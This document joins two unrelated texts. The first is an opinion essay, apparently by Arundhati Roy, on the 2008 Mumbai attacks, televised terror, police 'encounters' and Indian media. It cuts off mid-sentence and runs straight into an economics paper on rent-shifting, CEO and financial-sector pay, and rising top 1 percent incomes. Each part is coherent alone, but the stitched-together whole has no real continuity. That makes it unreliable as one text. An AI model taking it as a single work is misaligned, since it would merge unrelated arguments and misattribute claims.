If at this point India decides to go to war perhaps the descent of the whole region into chaos will be complete. The debris of a bankrupt, destroyed Pakistan will wash up on India's shores, endangering us as never before. If Pakistan collapses, we can look forward to having millions of "non-state actors" with an arsenal of nuclear weapons at their disposal as neighbours. It's hard to understand why those who steer India's ship are so keen to replicate Pakistan's mistakes and call damnation upon this country by inviting the United States to further meddle clumsily and dangerously in our extremely complicated affairs. A superpower never has allies. It only has agents.
On the plus side, the advantage of going to war is that it's the best way for India to avoid facing up to the serious trouble building on our home front. The Mumbai attacks were broadcast live (and exclusive!) on all or most of our 67 24-hour news channels and god knows how many international ones. TV anchors in their studios and journalists at "ground zero" kept up an endless stream of excited commentary. Over three days and three nights we watched in disbelief as a small group of very young men armed with guns and gadgets exposed the powerlessness of the police, the elite National Security Guard and the marine commandos of this supposedly mighty, nuclear-powered nation.
While they did this they indiscriminately massacred unarmed people, in railway stations, hospitals and luxury hotels, unmindful of their class, caste, religion or nationality. (Part of the helplessness of the security forces had to do with having to worry about hostages. In other situations, in Kashmir for example, their tactics are not so sensitive. Whole buildings are blown up. Human shields are used. The U.S and Israeli armies don't hesitate to send cruise missiles into buildings and drop daisy cutters on wedding parties in Palestine, Iraq and Afghanistan.) But this was different. And it was on TV.
The boy-terrorists' nonchalant willingness to kill – and be killed – mesmerised their international audience. They delivered something different from the usual diet of suicide bombings and missile attacks that people have grown inured to on the news. Here was something new. Die Hard 25. The gruesome performance went on and on. TV ratings soared. Ask any television magnate or corporate advertiser who measures broadcast time in seconds, not minutes, what that's worth.
Eventually the killers died and died hard, all but one. (Perhaps, in the chaos, some escaped. We may never know.) Throughout the standoff the terrorists made no demands and expressed no desire to negotiate. Their purpose was to kill people and inflict as much damage as they could before they were killed themselves. They left us completely bewildered. When we say "nothing can justify terrorism", what most of us mean is that nothing can justify the taking of human life. We say this because we respect life, because we think it's precious. So what are we to make of those who care nothing for life, not even their own? The truth is that we have no idea what to make of them, because we can sense that even before they've died, they've journeyed to another world where we cannot reach them.
One TV channel (India TV) broadcast a phone conversation with one of the attackers, who called himself Imran Babar. I cannot vouch for the veracity of the conversation, but the things he talked about were the things contained in the "terror emails" that were sent out before several other bomb attacks in India. Things we don't want to talk about any more: the demolition of the Babri Masjid in 1992, the genocidal slaughter of Muslims in Gujarat in 2002, the brutal repression in Kashmir. "You're surrounded," the anchor told him. "You are definitely going to die. Why don't you surrender?"
"We die every day," he replied in a strange, mechanical way. "It's better to live one day as a lion and then die this way." He didn't seem to want to change the world. He just seemed to want to take it down with him.
If the men were indeed members of the Lashkar-e-Taiba, why didn't it matter to them that a large number of their victims were Muslim, or that their action was likely to result in a severe backlash against the Muslim community in India whose rights they claim to be fighting for? Terrorism is a heartless ideology, and like most ideologies that have their eye on the Big Picture, individuals don't figure in their calculations except as collateral damage. It has always been a part of and often even the aim of terrorist strategy to exacerbate a bad situation in order to expose hidden faultlines. The blood of "martyrs" irrigates terrorism. Hindu terrorists need dead Hindus, Communist terrorists need dead proletarians, Islamist terrorists need dead Muslims. The dead become the demonstration, the proof of victimhood, which is central to the project. A single act of terrorism is not in itself meant to achieve military victory; at best it is meant to be a catalyst that triggers something else, something much larger than itself, a tectonic shift, a realignment. The act itself is theatre, spectacle and symbolism, and today, the stage on which it pirouettes and performs its acts of bestiality is Live TV. Even as the attack was being condemned by TV anchors, the effectiveness of the terror strikes were being magnified a thousandfold by TV broadcasts.
Through the endless hours of analysis and the endless op-ed essays, in India at least there has been very little mention of the elephants in the room: Kashmir, Gujarat and the demolition of the Babri Masjid. Instead we had retired diplomats and strategic experts debate the pros and cons of a war against Pakistan. We had the rich threatening not to pay their taxes unless their security was guaranteed (is it alright for the poor to remain unprotected?). We had people suggest that the government step down and each state in India be handed over to a separate corporation. We had the death of former prime minster VP Singh, the hero of Dalits and lower castes and villain of Upper caste Hindus pass without a mention.
We had Suketu Mehta, author of Maximum City and co-writer of the Bollywood film Mission Kashmir, give us his version of George Bush's famous "Why they hate us" speech. His analysis of why religious bigots, both Hindu and Muslim hate Mumbai: "Perhaps because Mumbai stands for lucre, profane dreams and an indiscriminate openness." His prescription: "The best answer to the terrorists is to dream bigger, make even more money, and visit Mumbai more than ever." Didn't George Bush ask Americans to go out and shop after 9/11? Ah yes. 9/11, the day we can't seem to get away from.
Though one chapter of horror in Mumbai has ended, another might have just begun. Day after day, a powerful, vociferous section of the Indian elite, goaded by marauding TV anchors who make Fox News look almost radical and leftwing, have taken to mindlessly attacking politicians, all politicians, glorifying the police and the army and virtually asking for a police state. It isn't surprising that those who have grown plump on the pickings of democracy (such as it is) should now be calling for a police state. The era of "pickings" is long gone. We're now in the era of Grabbing by Force, and democracy has a terrible habit of getting in the way.
Dangerous, stupid television flashcards like the Police are Good Politicians are Bad/Chief Executives are Good Chief Ministers are Bad/Army is Good Government is Bad/ India is Good Pakistan is Bad are being bandied about by TV channels that have already whipped their viewers into a state of almost uncontrollable hysteria.
Tragically, this regression into intellectual infancy comes at a time when people in India were beginning to see that in the business of terrorism, victims and perpetrators sometimes exchange roles. It's an understanding that the people of Kashmir, given their dreadful experiences of the last 20 years, have honed to an exquisite art. On the mainland we're still learning. (If Kashmir won't willingly integrate into India, it's beginning to look as though India will integrate/disintegrate into Kashmir.)
It was after the 2001 parliament attack that the first serious questions began to be raised. A campaign by a group of lawyers and activists exposed how innocent people had been framed by the police and the press, how evidence was fabricated, how witnesses lied, how due process had been criminally violated at every stage of the investigation. Eventually the courts acquitted two out of the four accused, including SAR Geelani, the man whom the police claimed was the mastermind of the operation. A third, Showkat Guru, was acquitted of all the charges brought against him but was then convicted for a fresh, comparatively minor offence. The supreme court upheld the death sentence of another of the accused, Mohammad Afzal. In its judgment the court acknowledged there was no proof that Mohammed Afzal belonged to any terrorist group, but went on to say, quite shockingly, "The collective conscience of the society will only be satisfied if capital punishment is awarded to the offender." Even today we don't really know who the terrorists that attacked the Indian parliament were and who they worked for.
More recently, on September 19 this year, we had the controversial "encounter" at Batla House in Jamia Nagar, Delhi, where the Special Cell of the Delhi police gunned down two Muslim students in their rented flat under seriously questionable circumstances, claiming that they were responsible for serial bombings in Delhi, Jaipur and Ahmedabad in 2008. An assistant commissioner of Police, Mohan Chand Sharma, who played a key role in the parliament attack investigation, lost his life as well. He was one of India's many "encounter specialists" known and rewarded for having summarily executed several "terrorists". There was an outcry against the Special Cell from a spectrum of people, ranging from eyewitnesses in the local community to senior Congress Party leaders, students, journalists, lawyers, academics and activists all of whom demanded a judicial inquiry into the incident. In response, the BJP and LK Advani lauded Mohan Chand Sharma as a "Braveheart" and launched a concerted campaign in which they targeted those who had dared to question the integrity of the police, saying it was "suicidal" and calling them "anti-national". Of course there has been no inquiry.
Only days after the Batla House event, another story about "terrorists" surfaced in the news. In a report submitted to a sessions court, the CBI said that a team from Delhi's Special Cell (the same team that led the Batla House encounter, including Mohan Chand Sharma) had abducted two innocent men, Irshad Ali and Moarif Qamar, in December 2005, planted 2kg of RDX and two pistols on them and then arrested them as "terrorists" who belonged to Al Badr (which operates out of Kashmir). Ali and Qamar who have spent years in jail, are only two examples out of hundreds of Muslims who have been similarly jailed, tortured and even killed on false charges.
This pattern changed in October 2008 when Maharashtra's Anti-Terrorism Squad (ATS) that was investigating the September 2008 Malegaon blasts arrested a Hindu preacher Sadhvi Pragya, a self-styled God man Swami Dayanand Pande and Lt Col Purohit, a serving officer of the Indian Army. All the arrested belong to Hindu Nationalist organizations including a Hindu Supremacist group called Abhinav Bharat. The Shiv Sena, the BJP and the RSS condemned the Maharashtra ATS, and vilified its chief, Hemant Karkare, claiming he was part of a political conspiracy and declaring that "Hindus could not be terrorists". LK Advani changed his mind about his policy on the police and made rabble rousing speeches to huge gatherings in which he denounced the ATS for daring to cast aspersions on holy men and women.
On the November 25 newspapers reported that the ATS was investigating the high profile VHP Chief Pravin Togadia's possible role in the Malegaon blasts. The next day, in an extraordinary twist of fate, Hemant Karkare was killed in the Mumbai Attacks. The chances are that the new chief whoever he is, will find it hard to withstand the political pressure that is bound to be brought on him over the Malegaon investigation.
While the Sangh Parivar does not seem to have come to a final decision over whether or not it is anti-national and suicidal to question the police, Arnab Goswami, anchorperson of Times Now television, has stepped up to the plate. He has taken to naming, demonising and openly heckling people who have dared to question the integrity of the police and armed forces. My name and the name of the well-known lawyer Prashant Bhushan have come up several times. At one point, while interviewing a former police officer, Arnab Goswami turned to camera: "Arundhati Roy and Prashant Bhushan," he said, "I hope you are watching this. We think you are disgusting." For a TV anchor to do this in an atmosphere as charged and as frenzied as the one that prevails today, amounts to incitement as well as threat, and would probably in different circumstances have cost a journalist his or her job.
So according to a man aspiring to be the next prime minister of India, and another who is the public face of a mainstream TV channel, citizens have no right to raise questions about the police. This in a country with a shadowy history of suspicious terror attacks, murky investigations, and fake "encounters |
Second, while measuring income using the cash, market-based data from Piketty and Saez does have some shortcomings, movements in these incomes do actually overwhelmingly drive trends in inequality even in the more comprehensive income data set tracked by the Congressional Budget Office. This finding should hardly be a shock, because cash, market-based incomes account for roughly 80 percent of all incomes even in the CBO data. Both of these points hold even more strongly when looking just at incomes in the top 1 percent and above: growth rates for these incomes are nearly identical in the latter period in both datasets, as the dominance of cash, market-based incomes is even much greater for the highest income households.
Third, the divergence in income growth rates for the bottom 90 percent in these two datasets is striking. In the Piketty and Saez data, the bottom 90 percent saw average annual growth of just 0.2 percent, as compared to 1.1 percent in the CBO data. We have noted elsewhere (Mishel et al. 2012, Table 2.13) that more than half of the income growth for households in the middle of the income distribution between 1979 and 2007 was driven by government transfers (dominated by Social Security and Medicare) and pensions currently received for past labor market service. These influences accounted for more than 80 percent of the rise in average incomes for the middle-fifth. Cash wages and salaries, conversely, accounted for just 6.1 percent of overall income growth for these families (while employer-sponsored health insurance contributions contributed 12 percent of overall growth in comprehensive incomes). We view the Piketty and Saez data as most reflective of how well the market economy has been providing income gains for households in the bottom 90 percent (not very well), while the CBO data provides a better measure of the actual living standards attained by this group.
Lastly, in both the Piketty and Saez data as well as the CBO data, income growth by fractile does not equal or exceed overall average growth below the 96th to 99th percentile average.
Table 1 provides an overview of the sources of income growth for the top 1 percent in the three decades before the Great Recession, using the broader definition of income from the Congressional Budget Office (2012) data. The first two rows show that that rising top shares have been driven by concentration within all forms of market income. In particular, the top 1 percent’s share of labor income doubled and the share of total capital income grew from 31.8 to 56.2 percent. The CBO data also indicates that the direct, arithmetic influence of taxes and transfers has been minimal, with rising inequality of market incomes explaining more than 100 percent of the rise in the after-tax income share of the top 1 percent (Mishel et al. 2012, Figure 2N).
The next block of columns shows a shift from less-concentrated sources of income (particularly labor compensation) and towards more-concentrated sources of income (particularly capital gains and business income). The most striking finding here is the large decline in labor compensation’s share of total income, falling from 69.8 percent in 1979 to 60.3 percent in 2007. Correspondingly, the combined share of capital income (including capital gains) and business income rose substantially, from 18.3 to 22.8 percent. We have noted elsewhere (Mishel et al. 2012) that the rise in capital income’s share is driven overwhelmingly by a higher profit rate, not a rise in capital-output ratios. Finally, both other income (mostly pension payments for past labor services) as well as transfer incomes rise as a share of total incomes, from 3.2 percent to 6.3 percent over the period and 8.7 percent to 10.7 percent, respectively. The total effect of shifts between income categories – driven overwhelmingly by shifts from labor compensation to capital and business incomes – accounts for 2.6 of the total 9.8 percentage point increase in the top 1 percent share. Overall, however, the increasing concentration within categories of income made a bigger contribution to the rising income share of the top 1 percent than the shift between income category shares.
Besides their sources of income, the occupations of the top 1 percent have also been investigated. In a study of tax returns from 1979 to 2005, Bakija et al. (2010) show the trend in the shares of total income of U.S. households accruing to the top 1.0 and top 0.1 percent of households. They establish that the increases in income at the top were disproportionately driven by households headed by someone who was either an “executive” (including managers and supervisors and hereafter referred to as executives) in nonfinancial sectors or in the financial sector as an executive or other worker. Households headed by a non-finance executive were associated with 44 percent of the growth of the top 0.1 percent’s income share and 36 percent in the growth among the top 1.0 percent. Those in the financial sector were associated with nearly a fourth (23 percent) of the expansion of the income shares of both the top 1.0 and top 0.1 percent. Together, finance and executives accounted for 58 percent of the expansion of income for the top 1.0 percent of households and an even greater two-thirds share (67 percent) of the income growth of the top 0.1 percent of households. Relative to others in the top 1 percent, households headed by executives had roughly average income growth, those headed by someone in the financial sector had above average income growth and the remaining households (non-executive, non-finance) had slower than average income growth. In our view this analysis of household income data understates the role of executives and the financial sector since they do not account for the increased spousal income from these sources.
Mishel and Sabadish (2013) examine chief executive officers of 350 firms with largest revenue in any given year and show that their compensation grew 79 percent between 1965 and 1978during a period when the stock market (as measured by the Dow Jones and Standard & Poor’s indices) fell by about half (see Table 2). Average CEO compensation grew strongly over the 1980s but then exploded in the 1990s and peaked in 2000 at nearly $20 million, growing by a multiple of 13 or 14 from 1978 to 2000 (depending on whether one accounts for stock options as they are granted or as they are realized). This growth in compensation for chief executive officers far exceeded even the substantial rise in the stock market, which grew roughly five-fold in value over the 1980s and 1990s.
Since 2000, compensation for chief executive officers first dropped after the fall in the stock market in the early 2000s, rebounded by about 2007, fell again in the financial crisis of 2008-2009, and then has rebounded again. By 2012, average compensation had returned to $14.1 million (measured with stock options realized) or $10.7 million (measured with options granted). The compensation of chief executive officers in 2012 is high by any metric, except when compared with its own peak in 2000 after the 1990s stock bubble. From 1978 to 2012, even with the setbacks provided by the 2001 and 2008 stock market crashes, CEO realized compensation grew 876 percent, more than double the real growth in the stock market. CEO compensation based on options granted grew a lesser” 685 percent that was still far in excess of stock market gains. In contrast, the hourly compensation of a private sector production/nonsupervisory worker grew a meager 5 percent.
This analysis of a narrow group of occupations’ role in driving top 1 percent incomes allows us to usefully narrow the argument about the role of rents in high incomes. That is, if one could establish that high compensation in just these two occupations (or sectors) is indeed heavily influenced by rents, and are not just the efficient marginal return to differences in skill and ability, then one has effectively made this case for the majority of the top 1 percent.
Rent-Shifting and the Rise in Top 1 Percent Incomes
In many discussions, “rent-seeking” refers loosely to ill-gotten gains. For example, it often refers to gains obtained by lobbying the government for some form of subsidy or preferential treatment, or for profits that stem from anti-competitive behavior. Such rents do exist, and powerful economic actors do indeed manage to influence policy to protect them from competition, and these probably do have non-trivial influences on some incomes in the top 1 percent. Legal and policy measures that enforce intellectual property claims, for example, surely play a key role in high incomes in Silicon Valley. However, in this paper we are referring to rents in a broader sense: in this discussion, a “rent” means only that the income received was in excess of what was needed to induce the person to supply labor and capital to these respective markets. As an illustrative example, it seems likely that many top-level professional athletes would continue to supply essentially the same amount of labor to their sport, even if their salary was reduced by some substantial fraction, because even the reduced salary would be much higher than their next-best options. Thus, we are making a positive argument, not a normative one, that the rise in income for the top 1 percent income was not necessary to entice the people in that group to seek those jobs nor to provide effort in those jobs. One implication of this is that even rents that do no not necessarily interfere with efficient allocation of talent (for example, those described in Gabaix and Landier (2008) and Tervio (2008) can be redistributed (say by progressive marginal taxation) –without introducing economic distortions. And where rents do stem from institutional arrangements that block the efficient allocation of resources (as in many of the models of financial sector rents or CEO “pay-skimming” noted below or models with labor market rents like Tervio (2009)), then dismantling the sources of these rents will self-evidently lead to increased efficiency.
Since rents are rarely observable, direct evidence on their role in driving income dynamics is scarce. However, we will focus in this paper on a wealth of suggestive evidence consistent with rents being important in income determination, and then will point to direct evidence suggesting that the large increases in top 1 percent income shares has clearly not been associated with improved economic performance overall. We take this as further confirmation that well-designed policies can brake or reverse rising top 1 percent shares without harming overall economic growth – and this suggests strongly that these rising top shares are indeed rents.
Executive Pay
The contribution made by concentration of labor compensation to the growth in the income share of the top 1 percent can largely be explained by a pay-setting institution that had existed for a long time, but took off with particular force in the last couple of decades: exercised stock options and bonuses. Kruse, Blasi and Freeman (2011), for example, note that in 2006 roughly $65.1 billion in labor compensation was actually the result of exercised stock options, while Jaquette, Knittel and Russo (2003) have estimated that total “spread income” (the exercise of non-qualified stock options) was $126 billion in 2000, and was even $78 billion in 2001, following the stock market decline. Stock options and bonuses are particularly relevant to the pay of high-level corporate executives.
Bebchuk and Fried (2004) compile ample evidence in favor of the claim that top executive pay is largely the result of rent-extraction. Perhaps their most persuasive argument is to point out that a well-designed contract for executive pay should offer rewards based on relative performance. For example, an executive for a company in an industry where stock prices are down across the board should be rewarded for performing less poorly than others, while an executive who runs a company in which the stock price is up, but up by less than every other firm in the industry, should not be rewarded. However, real-world compensation arrangements for chief executive officers are typically “camouflaged” to look like they are the result of contractual arrangements that reward relative performance, but generally do not.
One example of this camouflage is the hiring of compensation consultants and the construction of “peer groups” to benchmark top executive salaries. While at first glance benchmarking to insure that shareholders are not overpaying for managers may seem like sound corporate practice, these consultants and peer-group constructions can often be used to justify inflated corporate pay. Bizjack, Lemmon and Nguyen (2011), for example, find evidence that “peer groups are constructed in a manner that biases compensation upward.”
Another example of such camouflage is construction of stock options – an instrument that could be consistent with aligning manager and shareholder interests – that largely reward the luck of whether the stock market rises or falls, rather than specific performance. Bertrand and Mullainathan (2001), for example, have found that the pay for luck is actually as large as pay for performance, and they interpret this finding as evidence in support of the rent-extraction hypothesis for pay of chief executive officers.
As yet another example, Bebchuk and Fried (2010) note that, “standard pay arrangements have commonly failed to restrict the use of financial instruments that can weaken or eliminate entirely the incentive effects of equity-based instruments awarded as part of compensation arrangements.” They note that in a study by Schwab and Thomas (2006) of 375 employment contracts governing pay of chief executive officers, not a single one restricted hedging away the risk of the option grants.
A last bit of evidence that flawed corporate governance has allowed U.S. corporate executives to receive inefficiently high pay is the high ratio of the pay of U.S. chief executive officers relative to their international peers. Fernandes et al. (2012) show U.S. compensation for chief executive officers in 2006 to be twice that of other advanced nations at both the median and mean. A survey by Towers Perrin, a consulting firm, shows U.S. CEO compensation was triple that of other advanced nations in 2003, up from 2.1 times foreign CEO compensation in 1988 (Mishel et al. 2004, Table 2.47). Tower Perrin also reports that U.S. CEO compensation was 44 times that of the average worker whereas the non-U.S. ratio was 19.9.
Fernandes et al. (2012) seek to challenge the claim that U.S. CEOs are paid significantly more than their foreign counterparts. As noted above, they find U.S. CEOs to be paid double that of their counterparts. However, even after controlling for firm-level characteristics—size, leverage, stock return, stock volatility and Tobin’s Q—they find a U.S. pay premium of 88 percent. It is only when they control for “inside and institutional ownership” that they knock the pay premium down to a still substantial 31 percent. It is not clear to us that U.S. institutional board arrangements are reflective of the skill of chief executive officers and should be included as a control when estimating the pay premium. Once could, in fact argue simply that U.S.-style governance features are associated with excessive pay for chief executive officers both here and abroad.
A Closer Look at Rent-Shifting in the Financial Services Sector
The case for whether rents are driving much of the increase in top salaries in the financial sector is a debate that is largely inseparable from the broader question of the social value of marginal increases in the activities of the finance sector, and whether or not the large expansion of the sector between the 1970s and 2007 was of benefit or detriment to the larger economy. This question has been interestingly addressed in a symposium in the Spring 2013 issue of this journal. Although we will not reiterate the arguments in detail here, we are convinced by arguments that the wider economy has not benefited from this expansion of finance and that it largely represents overpayment for financial intermediation services that more competitive markets could have delivered more efficiently. Moreover, this expansion of finance actually imposed large negative externalities on the wider economy through the increase in systemic risk that has accompanied the rise in large, complex financial institutions.
Again, the evidence on rent-shifting behavior should be viewed not as conclusive, but as highly suggestive. First, the rise in finance’s share of overall economic activity and the steep rise in top incomes in this sector coincide with a range of legislative and regulatory changes that vastly expanded the range of activities in which financial firms could engage. Regulatory prohibitions from earlier eras were explicitly dismantled or made moot (for a good summary of many of these changes, see Sherman 2012). The result of these regulatory changes was a large rise in bank concentration, following a generation of economic history that saw concentration ratios roughly hold steady. There is very little evidence that the large rise in bank concentration reflected economies of scale or scope that were passed onto consumers in lower prices of intermediation (Haldane 2010a).
Second, it has become clear that in the aftermath of the Great Recession that some potentially substantial share of the income for large financial institutions is based on implicit insurance against bankruptcy (if it can still be called “implicit” after all the financial sector loans and bailouts) that large financial firms receive from the government. These subsidies can be economically significant, both in fiscal costs from clean-ups after crises happen (Laeven and Valencia 2008), as well as reduced financing costs for firms perceived to be too big or too interconnected or too politically influential to fail (Baker and McCarthur 2009). Further, the value of this implicit insurance rises with the risk of the underlying activities, and given that deregulation in this sector allowed a wider range of (often quite risky) activities, the value of this implicit insurance surely got larger as well
Third, some financial firms seem to extract large rents largely by hiding financial risk, rather than managing it. Haldane (2009b) has highlighted many of the means through which financial firms have in recent decades assumed risk in a search for high returns, while also managing to hide this risk from their sources of finance. Bebchuck, Cohen and Spamann (2009) provide a stark example of the large gap between value produced by financial sector institutions and value claimed by their managers in examining the compensation provided to executives at Bear Stearns and Lehman Brothers – two of the most spectacular failures in American finance during the crisis. They show that even after including the losses suffered by top management from the loss of value of their holdings at the time of each banks’ respective crash, that managers at these firms were able to obtain staggering payoffs over the entire 2000-2008 period: $650 million for Bear Stearns’ top executive team and $400 million for Lehmann’s team. Biais, Rochet, and Wooley (2010) note that financial managers often have an opportunity, with a combination of asymmetric information and the inability of outside investor to punish moral hazard fully (because of limited liability), to shift rents to themselves by failing to assess the true underlying risks of new financial innovations when they manage principals’ money.
The overall pay of financial sector workers relative to others in the economy has risen substantially. Our own calculations, using National Income and Product Accounts Data, show the unadjusted ratio of financial sector pay (annual compensation per full-time employee) since 1948. Between 1952 and 1982 this ratio never exceeded 1.1. By 2007, after decades of steady growth, it had reached 1.83. The rise in financial sector pay persists in the data even when standard wage-equation controls for experience and education are introduced. Philippon and Reshef (2009) also chart a rapid rise in the pay of financial sector workers, and they construct a time-series to chart the tight correlation between above-average pay in finance and the historical ebb and flow of financial regulation and de-regulation (see also their paper in the Spring 2013 issue of this journal). They note that a significant pay-premium to working in finance persists even in regressions with multiple controls, and conclude that roughly 30-50 percent of pay premium in finance seems due to rents.
In short, the financial sector illustrates that in one of the most important sectors to drive top 1 percent incomes in recent years, there was an extraordinary divergence between what top managers took home and even what shareholders (surely a privileged group compared to the wider U.S. economy) gained. This type of divergence seems like powerful evidence to us that a substantial part of the extraordinary rise of top 1 percent incomes is not a result of well-functioning markets allocating pay according to value generated, but instead resulted from shifting institutional arrangements leading to shifting of rents to those at the very top.
Objection: But It’s Other Professions, Too
One response sometimes heard to our analysis of rent-shifting behavior by executives and financial professionals is that their pay has largely risen in proportion to the pay of others in the top 1 percent. Thus, the argument goes, it is implausible to argue that rent-shifting was happening to the same extent across different professions, and a supply-and-demand explanation about higher rewards to those with very rare skills is a more plausible answer. While we cannot discuss every occupation that has contributed to top 1 percent pay, we will note that rents seem extraordinarily important to many of the other occupations, and especially those represented outside of executives and finance professionals in the very top – say the top 0.1 or 0.01 percent).
Lawyers, for example, are often hired explicitly to redistribute returns to productive activity. In one research paper, Murphy, Shleifer and Vishny (1991) explicitly use pre-law college majors as a proxy for the presence of rent-seeking behavior. As another example, the health care sector is one of the few that has actually outpaced finance in terms of claiming an ever-larger share of overall economic activity, yet much analysis finds not only that a large fraction of provided (and billed-for) care does not measurably improve health outcomes, but that prices in the American system are vastly higher than in the health systems of our advanced country peers (Anderson et al. (2003); Cutler and Sheiner (1999)). Further, the growth of spending on pharmaceuticals and medical devices constitute a significant share of overall health spending over the last generation, and these are sectors within health care given explicit government protection in the form of patents (Davis et al. (2007)).
More broadly, the existence and growth of rent-seeking sectors can pull up wages and incomes in other sectors. For example, Laugesen and Glied (2011) have demonstrated that physician salaries (orthopedists, in their study) are significantly higher in the United States than compared to even those in our high-income industrial peers. The authors then make an astute point: “One explanation for the higher incomes of U.S. physicians may lie in the broader U.S. income structure. The share of income received by people in the top 1 percent of the U.S. income distribution far exceeds the corresponding share in the comparison countries.” Empirical support for their point can be found in the work of Kedrosky and Stangler (2011) and Goldin and Katz (2008), both of which chart a large increase in the share of graduates from elite universities choosing to enter finance rather than other fields like medicine or hard sciences.
In short, just to keep a constant quality workforce in the face of rent-driven increases in pay for chief executive officers and financial professionals, even competitive labor markets in other occupations near the top of the income distribution would have to see pay rise. In addition, it appears to us that the enormous pay increases received by chief executive officers of large firms has spillover effects, in the sense that the pay of other executives and managers rises in tandem with the pay of chief executive officers, but we do not know of any systematic studies that have established the scale of this impact.
One prominent example of the “it’s other professions, too” argument comes from Kaplan (2012b), who argues that the pay of chief executive officers has risen in line with that of other highly-paid workers and that this is evidence against managerial power and rent-seeking driving the pay trends for chief executive officers. As noted a moment ago, even if the pay of chief executive officers was rising in line with other in the top 1 percent, we are not sure that this actually would be evidence against the managerial power theory of high pay for chief executive officers. But in addition, our reading of Kaplan’s own data and more precise data yields an opposite conclusion. Table 3 presents the ratio of the average compensation of chief executive officers of large firms, the series developed by Kaplan, to two benchmarks. The first is the one Kaplan uses, the average household income of those in the top 0.1 percent developed by Piketty and Saez (2003, updated). The second is the average annual earnings of the top 0.1 of wage earners based on a series developed by Kopczuk et al. (2010) and updated in Mishel et al. (2012). Each ratio is presented as a simple ratio and logged (to convert to a ‘premium’). The wage benchmark seems the most appropriate one since it avoids issues of household demographics—changes in two-earner couples, for instance—and limits the income to labor income and excludes capital income. Both of these ratios clearly understate the relative wage of CEOs since executive pay is a nontrivial share of the denominator, a bias that has probably grown over time simply because CEO relative pay has grown. For comparison purposes Table 3 also shows the changes in the gross (not regression-adjusted) college-high school wage premium.
Between 1989 and 2010 CEO compensation grew from 1.14 to 2.06 times that of the incomes of the top 0.1 percent households, the metric Kaplan employs to measure CEO pay relative to that of other highly paid people. CEO pay relative to top 0.1 percent wage earners grew even more, from 2.55 to 4.70 in that same time frame, a rise (2.15) equal to the pay of more than two very high earners. The log ratio of CEO relative pay grew roughly 60 log points from 1989 to 2010 using either top household income or wage earners as the comparison.
Is this a large increase? Kaplan (2012b, page 14) does not find this increase in relative pay (CEO pay relative to top household incomes) to be large, simply noting that the ratio ‘remains above its historical average and the level in the mid-1980s’. To put this in context Exhibit 2 presents the ratios displayed in Table 3 back to 1947. In fact, Kaplan’s ratio of CEO pay to top household incomes in 2010 (2.06) was nearly double the historical average 1.11, a gain roughly equivalent to the total income of a top 0.1 percent household. CEO pay relative to top wage earners in 2010 was 4.70, 1.62 higher than the historical average (a gain of 1.6 high wage earners). As the data in Table 3 show the increase in the logged CEO pay premium since 1979, and particularly since 1989, was far in excess of the rise in the college-high school wage premium which is widely and appropriately considered to have substantially grown. Presumably, CEO relative pay has grown further since 2010: as Table 2 showed CEO compensation (options) realized pay rose 15 percent while estimated pay (options granted) fell 4 percent between 2010 and 2012. It is noteworthy that Kaplan (2012b) argues that realized pay is the preferred measure of performance. IF CEO pay growing faster than that of other high earners is a test of the presence of rents then we would conclude that executives receive substantial rents.
Kaplan (2012a, 2012b) also suggests that pay of chief executive officers grew on par with firm size in the last few decades and this is evidence of market-determined pay. However, Frydman and Saks (2010, footnote 25) comment that “the strong correlation in more recent decades may be due to an upward trend in both variables instead of a causal effect of firm size on pay.” They also note “the strong correlation between compensation and aggregate firm size was limited to the 1980s and 1990s. For all other decades in our sample, average market value accounts for less than 1 percent of the variation in executive pay.” As Gordon and Dew-Becker (2007) point out, the available evidence does not support a unitary elasticity between firm size and pay of chief executive officers, either historically back to 1936 (Frydman and Saks 2010) or in annual cross-sections from 1990-2004. Fernandes et al. (2012) report an elasticity of 0.4 from pay of chief executive officers to firm size, which they report is in line with prior studies.
The Rising Incentive for Rent-Shifting
So far, we have argued that the evidence supports the case that rents are an important component of top 1 percent incomes. We have also argued that in some cases (particularly in the financial sector), evidence suggests that there have been increased opportunities for shifting rents to boost incomes and wages in recent decades. We admit that the case for a rise in rent-shifting as the primary driver of rising inequality is not yet ironclad, although it is certainly consistent with lots of evidence.
However, the case that incentives for rent-shifting have changed is completely unambiguous. From the late 1960s into the mid-1980s, in particular, top federal marginal income tax rates fell substantially. For example, the top marginal income tax rate was above 70 percent in 1970, but had fallen to 28 percent in 1986. Those extremely high marginal income tax rates in previous decades mainly applied to the upper slice of the top 1 percent of the income distribution—but as we have argued, the rise in incomes for that group is a major factor in increasing the share of income going to the top 1 percent.
The incentive effect of lower marginal tax rates could well impact top incomes if they are significantly composed of rents. For example, in the model of Bebchuk and Fried (2004), well-placed individuals who have some ability to shift rents will balance the costs and benefits of exerting more influence to boost their own incomes, where one of the costs is whether they encounter an “outrage constraint.” Lower marginal tax rates at top income levels will provide a greater incentive for well-placed individuals at that income level to spend more energy on rent-shifting.
Piketty, Saez and Stantcheva (2012) have shown that the link between falling marginal rates and higher pre-tax top 1 percent shares is significant both in time-series data for the U.S. as well as across countries. In their paper in this symposium, Alvarado, Atkinson, Piketty, and Saez discuss these issues.
Policy and Institutional Changes Beyond the Top 1 Percent
We have been arguing so far mostly within a framework amendable to microeconomists—at least microeconomists of the broad-minded and institutionalist variety—positing that developments within specific sectors and occupational labor markets have boosted the ability of well-placed groups to redistribute rents their way. However, the levers of rent-shifting can include both changes that shift bargaining power to those at the top of income distribution generally, or to subvert the bargaining power of those at the bottom and middle.
Mishel et al. (2012) documents the ways in which a range of policy developments over the last generation have disproportionately damaged the wage prospects of low and moderate-wage workers, including the declining real value of the minimum wage and the failure to update labor law to provide a level playing field in the face of growing employer hostility to union organizing efforts. Indeed, many of these policy changes were intentional and pursued with much greater vigor in the last generation than the previous one (Hacker and Pierson 2010). There is considerable evidence that these kinds of institutional changes can shift rents. Too often the assumption is that policy variables like the real value of the minimum wage cannot be relevant to top 1 percent incomes as it is, by definition, non-binding on high wages. Yet one person’s income is another person’s cost. If a declining value of the minimum wage, or increased effectiveness in blocking union organizing, keeps wages in check at, say, Wal-Mart, then it is hardly a shock that this could well lead to higher pay for corporate managers and higher returns to Wal-Mart shareholders. (see Draca, Machin and Van Reenen (2012) for evidence in the UK that higher minimum wages reduce firm profitability – but with no significant impact on employment).
Further, the role of globalization—a mixture of exogenous and policy-induced changes—also likely looms large. Textbook Stolper-Samuelson models explicitly show (at least in the older textbooks!) that trade openness can increase capital incomes and reduce labor compensation in rich countries like the United States Rodrik (1999) and Jayadev (2007) have similarly noted that capital account openness, which is largely a policy choice, could well tilt bargaining power away from workers and towards capital-owners, resulting in higher capital shares not just in developed countries (the standard Stolper-Samuelson result) but in developing countries as well -a non-standard result that has shown up strongly in the data.
